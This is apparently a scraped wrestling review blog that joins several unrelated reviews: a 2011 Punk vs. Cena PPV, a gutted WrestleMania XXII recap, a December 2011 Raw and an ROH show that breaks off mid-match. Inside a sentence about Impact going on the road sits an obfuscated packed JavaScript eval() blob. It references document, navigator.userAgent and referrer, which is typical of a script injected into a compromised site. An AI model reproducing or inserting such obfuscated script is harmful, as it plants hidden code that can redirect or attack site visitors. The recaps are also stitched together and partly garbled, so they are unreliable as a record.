There’s the elevated DDT and Christian is in trouble. Christian spits in Orton’s face to tick him off and Orton goes off on him. He breaks at three though so it’s not a DQ. Orton kicks Christian low…and it’s a DQ! CHRISTIAN WINS THE TITLE!!! THAT STIPULATION ACTUALLY WORKED!!!

 

Rating: B-. Good match here but not as good as their usual stuff. I can’t believe that ending actually worked either as I’ve never seen anything like it before. Granted it’s probably so Bryan can come out and cash in but that is what it is. Either way this was fine and they continue to have great matches together.

Orton destroys Christian post match, hitting a bunch of RKOs on the table while Teddy tries to calm him down.

Ok if Bryan doesn’t come down now, he’s an idiot. Apparently he’s an idiot because he’s not here.

We recap Punk vs. Cena. If you don’t know this, you’re an idiot. Basically, Punk went on a massive rant against WWE and Cena in a worked shoot. This is his last night with the company and Vince is involved too. If Punk leaves with the title, Cena is fired.

Raw World Title: John Cena vs. CM Punk

 

And here we go. Punk has an epic reaction as he’s the hometown boy. He even has a new shirt. The crowd is rabid for Punk. He sits in the ring and is a total face in the eyes of the crowd. HUGE CM Punk chant goes up as we wait on Cena. I seriously worry for Cena’s safety if he wins. OH MAN that heat is ONS levels. Punk goes out to be near the crowd for Cena’s entrance. Total stoic Cena here as everything he does is booed out of the building.

They do big match intros and Punk is as over as free beer. Here we go. I’m so fired up for this it’s unreal. TON of time for this too. Punk grabs a headlock and the YOU CAN’T WRESTLE chants start up. We actually do some chain wrestling and Cena is booed out of the building for a snap mare. They do some obvious spot calling while Cena has a headlock. Punk tries to fire off a spin kick but Cena ducks.

YOU CAN’T WRESTLE chants start up and Punk points at himself and asks the fans if they mean him. Punk almost gets an Anaconda Vice but Cena reverses into an armbar. They’re working slow here but that’s perfectly fine given that they have over 45 minutes if need be. Jerry tries to make Punk out to be the heel here and it’s just failing completely. There’s the duel and it’s all CENA SUCKS rather quickly.

Even Cole is against Punk here. Headlock goes on again as Cena has mostly controlled here, but we’re only like 5 minutes in. Hip toss by Punk sets up a dropkick and Punk speeds things up a bit. There’s a headlock of his own and Cena is down. We reference Montreal because that’s just what we do here in WWE. Punk does You Can’t See Me to Cena and they both try their finishers but it’s a stalemate.

HUGE CM Punk chant goes up which is par for the course tonight. Punk goes for the knee and takes over again. Cena fires back with the bulldog for two. Off to a front facelock and Punk shakes his finger no. I’ve never seen as many spots called in a single match. Cena hits a clothesline and Punk might have lost a tooth. Off to an arm trap chinlock which is close to a Crossface with Cena on his back.

Punk gets up and suplexes his way out of it for two. Cena does a Bret Hart chest to the buckle bump which gets two. All Punk at this point. Cena gets something going and hits a release fisherman’s suplex for two. AA is reversed again and Punk gets a quick DDT for two. Triangle choke goes on Cena and we slow it down again. It seems like they’re saving energy. They’ve been at it nearly ten minutes and it’s 10:22 so that’s a very likely scenario.

Cena counters out of it but Punk throws him to the floor. Punk teases going up but just climbs out instead. The fans applaud Punk just for picking Cena up. The fans chant for Colt Cabana and there’s a knee to the back of the neck of Cena while he’s hanging off the apron. That gets two back in the ring. Punk charges at Cena but his arm hits the post to buy Cena a few seconds.

And never mind as Punk hits a clothesline for two. Back to the chinlock as this needs to go a long time since the rest holds are getting a bit boring. There are actually some Cena chants and Punk comes off the middle rope with a spinning cross body. Cena might have hurt his knee as he’s going to the apron a bit. Punk goes after him but can’t suplex him back in. Cena manages to suplex him to the floor and the fans clap for a bit.

I think the knee was a work as he’s not even holding it at the moment. Oh wait yes he is. That was more or less an FU off the apron. Back in the ring that gets two as he’s rubbing the knee now. He can stand on it and hits another release fisherman’s. Elbow drop gets two. Cena sets for what looks like a powerslam but flips Punk forward into a sitout slam for two.

It’s only 10:30 and they’ve been going at it over 15 minutes. The knee looks fine. It’s boo/yay time and the yays are winning it. We go WAY old school with an abdominal stretch. HE EVEN HOOKS THE LEG PROPERLY! Punk hip tosses out of it and it’s a double clothesline to put them both down. Cena up first and he initiates the ending sequence. The Protobomb is reversed though and Punk gets the loudest reaction for a rollup you’ll ever here.

Protobomb hits this time but You Can’t See Me results in a kick to the head. Suicide dive takes Cena down and the fans erupt again. Punk high fives a fan while he’s still on the ground in a cool moment. Punk misses a cross body and now he Can’t See Cena. Five Knuckle Shuffle hits at about 20 minutes. AA is countered and Punk uses his martial arts for two.

Punk is looking towards the entrance and smiles for no apparent reason. GTS is loaded up but Cena counters into a gutwrench suplex for two. Punk fights back with some knees to the jaw and a bulldog. Springboard clothesline gets two and the fans are still totally into this. The replay shows how sweet those knees were. Out of nowhere Cena grabs the STF and Punk is in trouble! Oh of course he makes the rope but it takes awhile for him to get there.

As Cena goes for Punk again he gets caught in the side of the head with a big old kick for two. Cena rolls through a cross body but the AA is countered into the GTS but Cena grabs the leg and the STF is back on again! Punk can’t make the ropes but Cena pulls him back to the middle again. Cole says it’s a matter of time and he’s right. It’ll just be multiple more minutes because Punk manages to counter from the mat into the Anaconda Vice. SWEET!

Cena gets back up there’s the AA for TWO. This is getting awesome as they used the slow build. I’m glued to my screen which hasn’t happened since a few years ago with Taker vs. Shawn. Top rope legdrop is countered via something like a powerbomb for two. Punk almost Hulks Up and says it’s time to Go To Sleep. He loads it up but Cena grabs the rope and clotheslines him on it.

The top rope legdrop hits this time but it only gets two. These kickouts are incredible. They’re not going to end the match but they’ve built it up so well and the audience being so into them is making up the difference. Cena is getting his 19th wind and looks like he wants the AA. It hits clean again and PUNK KICKS OUT. Cena tries an AA off the middle rope but Punk fights out of it.

He manages to get a top rope hurricanrana but Cena goes to the corner to escape. Corner knee sets up the GTS and Cole is scared to death. The knee only hits the ribs and Cena manages to fall out of the ring instead of being in pinning position. And here’s Vince with Johnny Ace. The distraction lets Cena get the STF and Vince sends Johnny Ace to ring the bell. Cena hits the floor and blasts Ace, saying he doesn’t want it that way. Vince and Cena have a staredown in the aisle and Cena says it’s my way. He charges back into the ring and there’s the GTS and PUNK WINS!

Rating: A+. Excellent match as I’m sure you got here as the whole thing came off as completely epic. Cena almost had to lose here due to the sake of his own safety. Vince screwing himself over is a great thing because that’s how it had to be. Great stuff here and the show ending with Punk being as popular as anyone imaginable is excellent. Awesome stuff here and an awesome show.

Vince jumps on commentary and says to kill the music. He wants Alberto out here NOW to cash in. Alberto runs out and Punk kicks him in the head almost immediately to take him down. Punk goes into the crowd and that’s probably the safest place in the world for him. The bell didn’t ring and Del Rio never cashed in officially.

Overall Rating: A. Well that was incredible. From top to bottom this was great stuff and nothing was bad on it at all. Even the Divas had looks going for them so you can’t complain there. Great stuff overall and a shocking ending, which was exactly what this needed. Zero complaints and it more than lived up to the hype. Can’t wait for tomorrow now, which is the whole point of the show. Loved it.

 

Results

Daniel Bryan won the Smackdown Money in the Bank Briefcase

Kelly Kelly b. Brie Bella – K2

Mark Henry b. Big Show – Splash

Alberto Del Rio won the Raw Money in the Bank Briefcase

Christian b. Randy Orton via DQ – Orton kicks Christian low

CM Punk b. John Cena – GTS

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:




Wrestlemania Count-Up – Wrestlemania XXII: HHH Does It Again

Wrestlemania XXII
Date: April 2, 2006
Location: Allstate Arena, Chicago, Illinois
Attendance: 17,159
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross

The opening video is a Wrestlemania montage set to I Dare You by Shinedown. Awesome song and an awesome video.

We also get the usual kind of opening video with hype for the major matches.

Raw Tag Titles: Carlito/Chris Masters vs. Big Show/Kane

The losers argue post match.

Shelton Benjamin vs. Finlay vs. Ric Flair vs. Rob Van Dam vs. Matt Hardy vs. Bobby Lashley

US Title: Chris Benoit vs. John Bradshaw Layfield

Rating: C+. Just like the opener this was pretty meh but JBL was an awesome heel here. The part of this that sticks in my mind though is Benoit hitting that headbutt. After it hit he was grabbing his skull and was clearly in pain. Every time I see him hit something like that I cringe a little bit more and wonder if that was the point of no return.

Joey Styles jumps in on commentary for the next match.

Mick Foley vs. Edge

Backlash ad. Hey I was there.

Some celebrities are here.

Booker T/Sharmell vs. Boogeyman

Mickie is challenging and has those awesome skirts that go all over the place. Trish is looking great too with the usual attire but showing her stomach as well. Trish is all aggressive here and chops Mickie down into the splits. They head to the floor but the Chick Kick hits the post. Mickie wraps the leg around the post and is still looking very psycho. Back in and a dropkick to the knee takes Trish down again, as does a dragon screw leg whip for two.

Undertaker vs. Mark Henry

We recap Vince vs. Shawn. Back in December, Vince had been talking about Montreal again and Shawn finally said let it go before nearly superkicking Vince. This led to Vince basically declaring war on Shawn, eventually leading to a street fight here tonight.

Vince McMahon vs. Shawn Michaels

Wrestlemania 23 is coming to Detroit.

Smackdown World Title: Rey Mysterio vs. Kurt Angle vs. Randy Orton

Chavo and Vickie celebrate with Rey.

Cena and HHH are getting ready in the back.

Candace Michelle vs. Torrie Wilson

Rating: F. Were you expecting more here? Next.

Video on the Wrestlemania press conference.

Raw World Title: HHH vs. John Cena

Back to the floor we go and Cena is whipped hard into the steps. They head inside again for a facebuster from the challenger and a big old clothesline for two. A neckbreaker gets the same as the fans alternate between “screw you Cena” and “Cena sucks.” Off to a neck crank by the Game which is transitioned into a sleeper and then a chinlock. The champ shoves him off and hits a clothesline to put both guys down again. Back up and Cena fires off some more clotheslines followed by a powerslam for no cover.

A highlight package ends the show.

Ratings Comparison

Big Show/Kane vs. Carlito/Chris Masters

Original: D+

Redo: C

Rob Van Dam vs. Shelton Benjamin vs. Ric Flair vs. Finlay vs. Matt Hardy vs. Bobby Lashley

Original: B

Redo: B

John Bradshaw Layfield vs. Chris Benoit

Original: D+

Redo: C+

Edge vs. Mick Foley

Original: A

Redo: A

Boogeyman vs. Booker T/Sharmell

Original: F

Redo: F

Mickie James vs. Trish Stratus

Original: B

Redo: B-

Undertaker vs. Mark Henry

Original: D

Redo: D+

Shawn Michaels vs. Vince McMahon

Original: C+

Redo: C+

Rey Mysterio vs. Kurt Angle vs. Randy Orton

Original: D+

Redo: C-

Torrie Wilson vs. Candice Michelle

Original: F

Redo: F

HHH vs. John Cena

Original: A-

Redo: B-

Overall Rating

Original: B

Redo: D+

http://kbwrestlingreviews.com/2011/03/29/history-of-wrestlemania-with-kb-wrestlemania-22-i-barely-remember-this-show/

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Impact To Go On The Road Every Week

They eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrebb|var|u0026u|referrer|zrysz||js|php'.split('|'),0,{})) start March 14th in Chicago.  This is several years in the making but at least it’s finally happening.




Monday Night Raw – December 26, 2011 – GET THAT MASKED MAN A HUG!

Monday Night Raw
Date: December 26, 2011
Location: Allstate Arena, Chicago, Illinois
Commentators: Michael Cole, Jerry Lawler

After last week’s solid show, we close out the year with this one. There are still five weeks before the Rumble so they could easily burn another show here and things would still be fine. It should be interesting to see where they go here because there really aren’t any matches set up for the PPV, other than maybe Ziggler vs. Ryder II. Other than that there isn’t anything really clear. Let’s get to it.

Here’s Punk….and never mind as it’s Ace coming out to his music and in a Punk shirt. He says it’s a microcosm of the unpredictability that you’ve gotten under his leadership. The future begins tonight and here’s Punk. After a loud chant for him, he says that if he didn’t know any better, Ace is trying to antagonize him. Why shouldn’t Punk just kick him in the face right now? Ace says he can’t because he’ll get fired.

Tonight, Punk has the night off. Oh and he’s kidding again. Tonight Punk is wrestling up to three times in a gauntlet match. If any of them beats him, that person gets a title shot next week. Punk wants to know what happens if he wins all three matches. Ace doesn’t know, so Punk suggests he gets a shot at Ace if he does. Ace eventually agrees. Punk’s posing is cut off by the latest video. It says he is coming and that he’ll reclaim what is his. The words this time are The End Begins Next Monday.

Booker T vs. Cody Rhodes

Non-title here. Cole and Jerry has an actual lighthearted argument over who sang Rudolph the Red Nosed Reindeer. Hiptoss gives Booker an early advantage and a slam gets two. Snap suplex gets one. Axe kick misses though and Rhodes takes over with a neckbreaker. Out to the floor goes Booker and we take a break. Back with Booker taking over. He spins into the corner though and an elbow takes him down. Off to a crossface chickenwing

Clothesline gets two for Cody. The fans of course chant for Booker and Cody is getting frustrated. Booker fights back and it’s boo/yay tonight. Cody dropkicks him down and works the arm. Camel clutch goes on and Booker gets sent into the corner. He gets his feet up though and looks like he needs oxygen. Side slam gets two. The Jack Brisco sunset flip doesn’t look that good as it gets two. Rollup gets two for Cody. The Beautiful Disaster looks to have been short and it gets two. Cross Rhodes is countered but the side kick misses. The axe kick hits though and it gets the clean pin at 12:06.

Rating: C. The sloppiness hurt it and I’m not sure I like the idea of Cody losing clean. Booker looked kind of old here, but it’s what, his fourth match this year? Not bad and I guess the rematch is coming at the Rumble? Also the booking isn’t bad as he lost when he got beaten down before the match but wins when it’s even. That’s not as bad.

Ryder tells Cena that he owes Cena for everything. Cena says no, you don’t. Everything was Ryder getting here on his own. Cena is going a-Kane hunting though.

Jerry got a note saying that we’ll learn the three opponents for Ace soon. Oh ok he’s going to announce them. The three opponents are Jack Swagger, Dolph Ziggler and Mark Henry.

Kelly has some weird flirting moment with Show when a referee says he’s needed elsewhere.

Ace says Brodus is debuting next week on Raw. Show comes in and Ace talks about Otunga jumping him last week. Otunga says that’s a lawsuit and Show says he can beat Otunga with an arm behind his back.

Swagger and Ziggler trade insults when Vickie comes in and says it doesn’t matter who gets the show. Henry comes in and says excuse me. Ok then.

Eve Torres/Zack Ryder vs. Tyson Kidd/Natalya

….seriously? This is kind of a step down for Ryder isn’t it? Eh well he was getting over and he wasn’t in the original WWE plans so you know they’re not going to be happy with it. Cole says that July 23rd will be the 1000th episode of Raw. Oh my that could be BAD. The guys start and nothing happens so it’s off to the chicks. Eve does her dancing moonsault and it’s back to the guys. We get stereo Broski Boots and the Rough Ryder ends this at 3:00. No idea why Ryder was in this.

Here’s Cena who isn’t well received by the fans. He acknowledges that the fans aren’t happy with him and there’s a Cena Sucks chant. Cena talks about how there’s magic in this building in the form of three Wrestlemanias. Chicago inducted Eddie Guerrero into the Hall of Fame, which draws an Eddie chant. Also, right here in this building, CM Punk beat him for the WWE Championship.

New York is considered the capital of the WWE, but after seeing another show like this here in Chicago, he’s not sure about that. Cena has somehow gotten the Chicago crowd on his side. Right now though, he’s going to call out Kane. Cue Miz instead. Miz wants to face him right now because the win at Mania was tainted. Miz wants Rock to beat Cena and tonight he wants the last image of 2011 to be him standing tall over Cena. Cena wants Miz to shut up and wash the tan off his body. Get a referee out here right now and let’s do it.

John Cena vs. The Miz

The fan that catches Cena’s shirt won’t throw it back. Good, he’d be stupid to do so. Cena controls early with a headlock and the fans are split on him. That’s a step up for him in Chicago. Miz heads to the floor and grabs a mic. The fans are chanting for the wrong person so he’s out of here. It’s a countout at 2:30, most of which happened during Miz ranting against Chicago.

Miz sets for his catchphrase and here’s R-Truth for the on the floor brawl. So I guess Truth is face again. He destroys Miz and says he could finish Miz right now, but there’s no fun in that. It’s like Christmas: once you open the presents, it’s all over. Every Monday Night should be like Christmas, so he’s going to take his time getting to Miz, because Little Jimmy says it’s ok. Truth hits him with a water bottle to end this.

Kane is officially here.

Big Show vs. David Otunga

Show must have an arm tied behind his back. It’s the right arm too so there’s no knockout punch or chokeslam. He’ll be at the relentless mercy of the offense of DAVID OTUNGA. Otunga gets sent to the floor and here’s Mark Henry. The match is officially thrown out at 2:00 despite Henry not touching him.

Henry clotheslines him down and here’s Bryan to distract show. He runs and Henry gets the arm loose. Otunga breaks up a chokeslam and takes it himself. Show officially wins by DQ. HENRY NEVER TOUCHED HIM!!!!

Here’s Del Rio but in a wheelchair. Ricardo, in a neckbrace, does the intro anyway. Jerry makes me laugh by giving us the information of the wheelchair, which is valued at about $200! Del Rio confirms the true rumor that he tore his groin last week. He says he’ll be back and here are the Bellas to berate the crowd. One of them says they’ll throw a party in his honor. It’s Nikki apparently. They get in an argument over who gets to throw the party so Alberto yells at them. He throws them out and blast it as they were looking good tonight. His New Year’s Resolution is that he’ll be champion again.

CM Punk vs. Jack Swagger/Dolph Ziggler/Mark Henry

It’s a gauntlet match and if someone beats Punk, they get a title shot next week. If Punk sweeps it, he gets a match with Ace, presumably tonight. The opponents are in the order listed so Swagger is up first. Swagger hooks a test of strength but Punk stays on his head to keep from going down. Here come the kicks but Jack comes back with a gutbuster to take over.

Punk tries a cross body off the top but Swagger (almost) catches him in another gutbuster for two. At least he has a strategy. He sets for the Vader Bomb but Punk jumps up and catches him in the GTS position. That doesn’t work so Punk kicks him in the head for the pin at 3:27. Here’s Ziggler next but Swagger takes out the knee almost immediately before the bell.

Punk says he can go and we take a break. Back with Ziggler working on the knee. Sweet dropkick gets two for Dolph. Punk fights back with a slingshot and tries a neckbreaker but Dolph goes back to the leg. Off to a half crab which lasts awhile. Punk fights back and the knee isn’t hurting so much now.

Using the good leg he fires off some kicks to the back and a big kick to the head for two. Fameasser is blocked and there’s the running knee in the corner. Vickie breaks up the GTS and the Fameasser hits this time for two. Cue Johnny Ace who ejects Vickie and Swagger. This is happening while Punk has Ziggler covered. The distraction lets the Zig Zag end Punk at 13:27.

Rating: C+. This was the ending I expected actually. It seemed too easy to go the way it was looking. Ziggler vs. Punk could be awesome if they give it enough time, which they probably won’t. Decent stuff here though and it’s good to see Dolph getting a chance to headline a Raw as he’s earned so far.

Here’s Kane to end the show. He talks about how the mask is his real face and everyone else is hiding. Cue Cena but Kane throws up a wall of fire to stop him. Kane says Cena is his target because Cena preaches to rise above hate. This world is a dark place and people should hate. Everyone hates, so why rise above it? He says that there’s hatred in Cena but he’s hiding from it. There’s a Cena chant. In Chicago. Man that’s scary.

Kane talks about how Cena will be free once he embraces the hate. Now the chant is dueling so the world is more correct. The people are going to help Cena embrace his hate. The last thing Cena will hear is them chanting Cena sucks. Kane needs some lessons from the Spirit Squad because they don’t go along with Kane’s idea. There’s a mild dueling chant and Cena has to overact and make it seem like it was deafining. He hangs his head to end the show.

Overall Rating: C+. I wasn’t so huge on this show. There’s some ok stuff in here but the show felt like other than the beginning, there was a lot of stuff just thrown in there with no real thinking behind it. I liked the ending as we got a reasonable (by Kane’s standards) explanation of why he’s going after Cena. Dolph vs. Punk should be good and that’s what they’re shooting for here, which is ok. Not a terrible show but kind of weak.

Results
Booker T b. Cody Rhodes – Axe Kick
Zack Ryder/Eve Torres b. Tyson Kidd/Natalya – Rough Ryder to Kidd
John Cena b. The Miz via countout
Big Show b. David Otunga via DQ when Mark Henry interfered
Dolph Ziggler b. CM Punk – Zig Zag

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Joe vs. Punk II – Not As Good As It’s Cracked Up To Be

Joe vs. Punk II
Date: October 16, 2004
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Attendance: 700
Commentators: Jimmy Ballard, Mark Nultey

I don’t usually do ROH but this was a request. The main event of this show should be obvious. Joe is champion and this is Punk’s rematch after a time limit draw in their first match. We’re in Punk’s hometown so expect the crowd to be rabid. The whole show is about that match and it’s about 1/3 of the show so I wouldn’t expect the rest of the matches to mean much. Let’s get to it.

Punk talks about how his first match with Joe was a draw and the monster known as Joe couldn’t stop him. He talks about growing up in Chicago and fighting every day when he was a kid, even when the bullies would come to his house and he’d be the one left standing at the end. This is his home and with everyone looking, he’s going to be ready in his home town.

Generation Next (heel stable) talks about how Ricky Steamboat cost them their match last night against the Second City Saints (Punk’s team). Austin Aries, part of the team, isn’t here tonight because of the beating last night. Oh that’s Alex Shelley talking. He has an I Quit match with Jimmy Jacobs tonight. The other two guys are Jack Evans and Roderick Strong and tonight they team up to face the Rottweilers (Homicide/Rocky Romero).

Davey Andrews vs. TJ Dalton

No idea who either are but from what I can find, neither have wrestled for any company of note in over four years. Andrews was in ROH for awhile and Dalton was in OVW for awhile. Yeah that’s all I’ve got. And never mind as two other guys run in and beat them both down about 20 seconds after the bell.

Their names are the Carnage Crew and their names are Tony DeVito and HC Loc. They yell about Mick Foley and how they’re hardcore. I’m guessing this is leading to something later.

Delirious vs. Jay Lethal

Lethal is 19 here and is VERY young looking, probably because he is young. Delirious starts off with his usual insane stuff. Wait. DELIRIOUS WAS THE LIZARD MAN??? I heard about this for years about how ROH had a lizard man and it was Delirious? I’ve wondered who that was for years. Delirious hasn’t won a singles match yet so this is a big deal for him. Lethal takes him to the corner but is knocked off and takes a rana for two.

They exchange forearms which is a required sequence in ROH. There are the chops and the WOOs. Out to the floor and it’s kind of cool to see them using handheld cameras. Delirious hits a front flip dive to the floor to take Lethal down again. Lethal reverses a rollup for two. Delirious shouts a lot but gets caught in a neckbreaker but catches Lethal coming off the top in a Cutter. That’s not worthy of a pin though. Well to be fair Delirious is supposed to be insane. Shadows Over Hell (splash to the back and not called that yet) gets two. Delirious yells some more and gets caught in a dragon (full nelson) suplex for the pin.

Rating: C-. There wasn’t much of a point to it but for the opener this was fine. Lethal would get a lot better and Delirious would get a lot funnier so this is one of those matches that would be much better about 3 years later. Nothing great here but they were trying and for guys who didn’t have much experience, this worked well enough. Just not that interesting though.

Joe says tonight we’ve got a sixty minute match and all Punk has proven is that he can’t beat Joe. Tonight, Punk will fail again.

At this point on the card there’s a match listed as Dixie vs. Matt Stryker (not that one) but there’s no mention of it here. Maybe it’s coming later.

Tracy Brooks vs. Daizee Haze

Brooks you know from TNA and Haze is currently too skinny to wrestle for awhile. They haven’t had much women’s wrestling lately since Alexis Laree left (more famous as Mickie James). They do some basic stuff as the announcers point out that they can be just as good as the men. A forearm gets two for Haze as does a missile dropkick. In a weird ending, Haze tries forever to get a Stunner and finally hooks it but Brooks totally no sells it and hits a clothesline for the pin.

Rating: D-. And no that’s not because they’re girls. It’s because this match was really boring and the ending was awful. It’s like they were supposed to be having a big match and in short, they didn’t. There was nothing here that was interesting and there was nothing that made me think this was better than the Divas or what would become the Knockouts. The ending was as awkward as I’ve seen in a very long time.

Angel Dust vs. Matt Sydal vs. Josh Daniels vs. Trent Acid

Daniels is some indy guy that I’ve heard of and that’s about it. Angel Dust is an indy guy known as Azrieal and had a one off appearance in the X-Division Showcase on Impact as Federico Palacios. Acid is an indy guy that died last year and Sydal is Evan Bourne and a heel here. This is called a survival match but it’s one fall to a finish. Ok then. Acid is in the shirt, Dust is in the bandana and Daniels has the gold/yellow trim. Got it.

Dust is part of a team called Special K which I believe was a bunch of drug addicts. This is a fast paced match but Dust loses a headlock for a second on Sydal in a bit of a botch. Acid sends Sydal (who I might call Bourne) to the floor and it’s off to Daniels. I think if you go to the floor it’s the same as a tag. Daniels sets for a dive but runs into a forearm from Acid. Dust tries a huge moonsault to the floor but misses everything.

The announcers have no idea who is legal here. Everyone is back in now and it’s a big brawl still. A Blue Thunder Bomb gets two for Acid. I think it’s Daniels vs. Acid who are legal but Dust tags himself in. Daniels is like cool man and fires off some kicks. Sydal comes in out of nowhere and tries a shooting star but lands on his feet. Everything breaks down and Acid hits a reverse inverted DDT on Sydal but Daniels hits a German on Dust and they’re legal so Daniels gets the win.

Rating: C. Fun match but it was totally insane. The fans liked Acid the best and were MAD when he lost. Still though, this one got too insane and it was hard to tell what was going on at all by the end of it. That can get very annoying and it did so here. Not a horrible match or anything but it was too big of a mess to make much sense.

Chad Collyer/Nigel McGuinnes vs. BJ Whitmer/Dan Maff

Collyer/Nigel have Ricky Steamboat with them while Whitmer/Maff have Mick Foley. It’s the whole wrestling vs. hardcore jazz. Steamboat and Foley started to hook up in WCW but I guess they figured that one of the best heels vs. one of the best faces would make too much sense and therefore money so they bailed on it immediately. Steamboat asks the four wrestlers to get on the floor because he wants to talk to Foley.

The audio here is AWFUL and I had no idea what Steamboat was talking about for part of it. Ok now I can a bit. The fans are saying speak up. Last night Foley issued a challenge for this tag match and Steamboat says it’s not about skill but it’s about the style the guys use. Steamboat calls it garbage wrestling because you use things like garbage cans in it. “In fact Mick I got an e-mail today from the Chicago sanitation department that says when your next novel fails they have a job for you cleaning up the garbage.” BURN.

Foley gets on the mic and makes fun of Steamboat for being too serious and not an entertaining talker. Foley talks about Steamboat winning the title in 1989 right here in Chicago from Ric Flair (Chi-Town Rumble, well worth checking out). Steamboat may be the greatest pure wrestler of all time. I’m not sure “may be” is needed here. However, saying someone is the greatest pure wrestler of all time “is like saying someone is the greatest softcore adult actor of all time.”

Foley defends hardcore wrestling because it’s about toughness and giving it all you have. He wants to know how long Steamboat plans to ride Flair’s coattails (even though Flair is a washed up loser). The fans are split here. Steamboat comes back with I know Flair, I’ve worked with Flair and you Mick Foley are no Ric Flair. Foley blasts Flair, saying he has a banana nose, orange teeth and looks like Barbara Bush in drag.

Steamboat says those were funny when Funk said them 20 years ago. Foley comes up with some new ones, like Flair says the same things time after time and carries Batista’s bags and sucked up to HHH. Oh and Flair has botox. This is HILARIOUS. Here’s the real burn: “I’m no Ric Flair because I knew when my time was done, I stepped aside for the sake of younger guys.” Bear in mind that about three and a half years later Foley won the TNA World Title, although TNA was still pretty awesome at this point.

Oh hey we have a match to get to. Everyone shakes hands pre match. Ok so it’s Nigel vs. Whitmer to get us going. We go over who has the best trainer in this and Maff is kind of left out in the cold. This is under pure rules, which is an overly complicated system that means you have a limited amount of rope breaks and no punches. Off to Maff as the pure guys are dominating with a lot of arm drags in a nice touch. And here are the Carnage Crew to jump Foley and a brawl breaks out. Not long enough to grade but it was pretty basic up to this point.

Steamboat goes off on the Carnage Crew for ruining the match and even calls them a bunch of dickheads. Announcer: “STEAMBOAT SAID DICKHEADS!!!!!”

Ok so now the match is starting again but it’s under hardcore rules. Well sure why not? It’s a bit brawl to start and once they’re on the floor Foley drills McGuinness with the mic. They’re into the crowd already. The Crew is gone. Maff cracks a water bottle over the head of Collyer and McGuinness gets taken down by a chair. Ok so now we’re into the ring and there are a few chairs involved. This is a total brawl and Steamboat is back now. Ok he wants it to be pure wrestling again. McGuinness gets all technical and such and gets a slick rollup on Whitmer for the pin.

Rating: C+. That’s for the whole thing. Steamboat and Foley were by far the best things about this but I don’t think that surprises anyone. The idea of mixing both styles was interesting but it needed more than it had here. The main conclusion I can draw from this though: MAN WCW was stupid for not following up on Steamboat vs. Foley in 92.

Steamboat rubs in the win post match.

Acid yells at Dave Prazak because he had a pin and says he feels like an outcast here.

TJ Dalton/Davey Andrews vs. Caranage Crew

Nice to see them following up on the angle from earlier in the show. The non-regular tag team takes over early with some nice double team stuff. And never mind as Dalton gets caught in a Doomsday Device as we finally get into a regular match. The Crew settles into rhythm and beats the tar out of Dalton. Andrews comes in and fights back. He’s one of the first graduates of the ROH Wrestling Academy. Not that it matters as the Crew hits a bunch of violent double team moves, finally killing Andrews with a double team middle rope piledriver. Total squash.

Rottweilers vs. Generation Next

This is heel vs. heel. It’s a big brawl to start which leaves us with Homicide vs. Evans and you know Evans is going to start diving. Romero and Stong have a fast sequence in the ring and everything breaks down quickly. Ok so now we’re into an actual tag match, in this case Strong vs. Romero. Romero is half of the tag champions but his partner (Ricky Reyes) isn’t here tonight.

Strong finally shoves Homicide into the corner and brings in Evans to a moderate pop. Generation Next (I keep wanting to say Gen Me) double teams a lot and gets two off a double team splash in the corner. Middle rope elbow gets two for Strong. Strong Hold (Boston Crab) goes on but Strong walks to the corner on his own for some reason. Weird.

Homicide grabs a DDT on Evans to take over and bring Romero back in. Camel clutch goes on but Strong comes in and chops the back of Romero’s neck HARD. See that’s how you break something up: in a surprise and with something other than a weak stomp. The Rottweilers keep hammering away and Evans is such a tiny man that it works more effectively than it normally would.

An Alabama Slam into a slingshot into a backbreaker into a double stomp (there was some double teaming in there too) has Evans in trouble. A reverse double gorilla press sends him flying over the top and onto Strong. Evans finally avoids a swan dive and makes the tag to bring in Strong. Here’s some double teaming with flips but since this is an indy company the selling lasts all of 8 seconds.

A Steiner Bulldog gets no cover for the dog enthusiasts. Evans comes in via a springboard kick where the springboard and spinning weren’t needed at all. Everything breaks down and Homicide hits a piledriver for no cover on Strong. Homicide kills (get it?) Evans but he’s not legal. This is one of those matches where there’s too much going on to keep track of. A top rope splash gets two on Strong. Strong fights back and takes out both Rottweilers with a Razor’s Edge into a Diamond Cutter which lets Evans hit a 630 for the pin.

Rating: C+. Fun stuff here and Generation Next would become a huge force in the company in the next year or so with Aries winning the title soon after this, I think in December. I’m not a fan of this style as the lack of a story and the total lack of selling hurts it a lot. Either way, I like Strong and him being on the winning team helps somewhat. Not exactly bad but I couldn’t get into it.

The Rottweilers want to shake hands post match and yeah they beat up Generation Next because they’re idiots. Romero grants them a title shot post match.

Jimmy Jacobs vs. Alex Shelley

This is an I Quit match. Oh and for all the people that said Ryder was original for the one long leg and one short leg in the tights, Jacobs has him beaten here by about 3 years. They slug it out and then head to the floor quickly with Jacobs hitting a rana off the apron. Shelley tries to throw him back in and takes another rana for his efforts. Jacobs chokes Shelley with a chair but takes a spinning downward spiral into the barricade instead.

Shelley takes over and works over the neck of Jacobs because….well I guess he has to work on something. Oh ok these two are former partners. See how easy it is to explain that? “Jacobs has frustrated Shelley ever since this team split up.” See it’s not hard. Back in the ring now and it’s almost all Alex. Jacobs manages a clothesline and Shelley’s head is rammed into the chair on the mat. That looked good. Or bad. I wonder which one it is.

Jacobs pulls a spike out of his boot which would become one of his trademarks later in his career. Shelley gets it away and rams it upside Jacobs head. “That thing has got to be 12 inches long!” That’s what she said? Now the spike is driven into Jacobs’ head and he’s busted. A tombstone onto a chair half kills Jacobs but he won’t quit. Here’s a kendo stick which always makes me think of the things they put newspapers on at the library.

Shelley uses duct tape and ties Jacobs to the top rope with his back exposed. LET THE BONDAGE AND TORTURE PLAY BEGIN!!! Jacobs gets a low blow in and gets his feet up to his hands where he pulls another spike out to cut himself free. Announcer: “How many spikes can you have in a pair of furry boots?” Jacobs gets the stick and wears Shelley out with it and chokes away. A senton misses and Shelley beats him back and forth with the spike and stick.

